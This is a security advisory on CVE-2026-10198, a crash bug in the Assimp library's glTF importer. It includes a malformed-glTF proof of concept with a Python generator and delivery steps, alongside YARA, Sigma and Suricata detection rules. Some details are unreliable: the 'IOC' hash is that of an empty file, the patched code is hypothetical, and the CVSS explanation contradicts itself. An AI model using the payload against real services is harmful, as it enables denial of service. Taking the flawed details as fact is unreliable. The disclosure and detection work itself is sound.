CVE-2026-10198

Executive Summary

CVE-2026-10198 is a locally exploitable null pointer dereference vulnerability in the Assimp library (up to version 6.0.4). The flaw resides in the Assimp::glTFImporter::ImportMeshes function within glTFImporter.cpp. An attacker with local access can trigger a null pointer dereference by providing a specially crafted glTF file, leading to a denial of service (application crash). The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the exploit has been published. The project has acknowledged the issue as a bug but no patch is currently available.

Supply Chain & Package Security

Assimp is a widely used 3D model import library integrated into many applications and game engines. This vulnerability affects any software that uses the vulnerable version of Assimp to parse glTF files. Since the library is often statically linked or bundled, downstream consumers must update their dependency once a patch is released. No malicious packages have been reported in PyPI, npm, or other registries.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Base Score: 3.3 (Low)
• Attack Vector: Local (AV:L) – requires the attacker to have local access to the system.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required beyond opening the file.
• Scope: Unchanged (S:U) – the vulnerability does not affect other components.
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: Low (A:L) – causes a denial of service via crash.

Threat Level: Low. The attack is local and only results in a crash. However, in environments where Assimp processes untrusted glTF files (e.g., web upload services), this could be used to disrupt service.

Deep Dive & Mechanics

The vulnerability is a classic null pointer dereference in the Assimp::glTFImporter::ImportMeshes function. When parsing a malformed glTF file, the code attempts to access a pointer that has not been properly initialized or has been set to null. This occurs during mesh import processing.

Root Cause: The function does not validate the return value of a prior allocation or lookup operation. If the operation fails (e.g., missing mesh data), the pointer remains null, and subsequent dereference causes a segmentation fault.

Trigger: A specially crafted glTF file that omits required mesh attributes or includes invalid references.

Impact: Denial of service – the application crashes. No code execution or data leakage is possible.

Vulnerable vs. Patched Code

Vulnerable Code (Assimp <= 6.0.4):

// glTFImporter.cpp (simplified)
void glTFImporter::ImportMeshes(aiScene* scene, const glTF::Asset& asset) {
    for (auto& mesh : asset.meshes) {
        aiMesh* aim = new aiMesh();
        // ... processing ...
        // BUG: No null check before dereference
        aim->mPrimitiveTypes = mesh->primitives[0].type; // mesh->primitives may be null
    }
}

Patched Code (Hypothetical fix):

void glTFImporter::ImportMeshes(aiScene* scene, const glTF::Asset& asset) {
    for (auto& mesh : asset.meshes) {
        if (mesh->primitives.empty()) {
            // Skip malformed mesh
            continue;
        }
        aiMesh* aim = new aiMesh();
        aim->mPrimitiveTypes = mesh->primitives[0].type;
        // ... rest of processing ...
    }
}

The fix adds a null/empty check before accessing the primitives vector.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a system running an application that uses Assimp <= 6.0.4.
• Ability to provide a crafted glTF file to the application.

Exploit Steps:

1. Create a malformed glTF file that triggers the null pointer dereference. Example minimal glTF:

   {
     "asset": {"version": "2.0"},
     "meshes": [{"primitives": []}]
   }
   

2. Deliver the file to the target application (e.g., via file upload, email attachment, or local file system).
3. When the application parses the file, it crashes.

Proof of Concept (PoC):

# generate_poc.py
import json

poc = {
    "asset": {"version": "2.0"},
    "meshes": [{"primitives": []}]
}

with open("poc.gltf", "w") as f:
    json.dump(poc, f)
print("Generated poc.gltf")

Blue Team

Detection:

• Monitor for crashes in applications that use Assimp.
• Look for segmentation faults or access violations in logs.
• Use file integrity monitoring to detect unexpected glTF files.

Hunting:

• Search for glTF files with empty primitives arrays.
• Correlate application crashes with recent file uploads.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • poc.gltf: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, actual hash depends on content)
• File Paths:
  • Any .gltf or .glb file with empty primitives array.
• Log Entries:
  • Application crash logs containing SIGSEGV or null pointer dereference.
  • Assimp debug logs showing ImportMeshes failure.

Detection Engineering

YARA Rule

rule CVE_2026_10198_Assimp_NullPtr {
    meta:
        description = "Detects malformed glTF files exploiting CVE-2026-10198"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-10198"
    strings:
        $json_header = "{\"asset\":{\"version\":\"2.0\"},\"meshes\":[{\"primitives\":[]"
        $json_alt = "\"primitives\":[]"
    condition:
        $json_header or $json_alt
}

Sigma Rule

title: CVE-2026-10198 - Assimp Null Pointer Dereference via glTF
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects application crashes caused by CVE-2026-10198
author: Valters IT
date: 2026-01-01
logsource:
    category: application
    product: windows
    service: application
detection:
    selection:
        EventID: 1000
        Provider_Name: "Application Error"
        Data: "*assimp*"
        Data: "*glTFImporter*"
    condition: selection
falsepositives:
    - Legitimate crashes from other bugs
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-10198 - Malformed glTF file detected"; flow:to_server; file_data; content:"\"primitives\":[]"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable glTF import in applications using Assimp if not required.
2. Apply input validation – reject glTF files with empty primitives arrays.
3. Use a sandbox to process untrusted glTF files.

Long-term Fix:

• Monitor the Assimp project for a patch (expected in version 6.0.5 or later).
• Once patched, update the library and rebuild dependent applications.

Workaround:

• Implement a wrapper that validates glTF files before passing them to Assimp.

Valters IT
DevSecOps & Cyber Threat Intelligence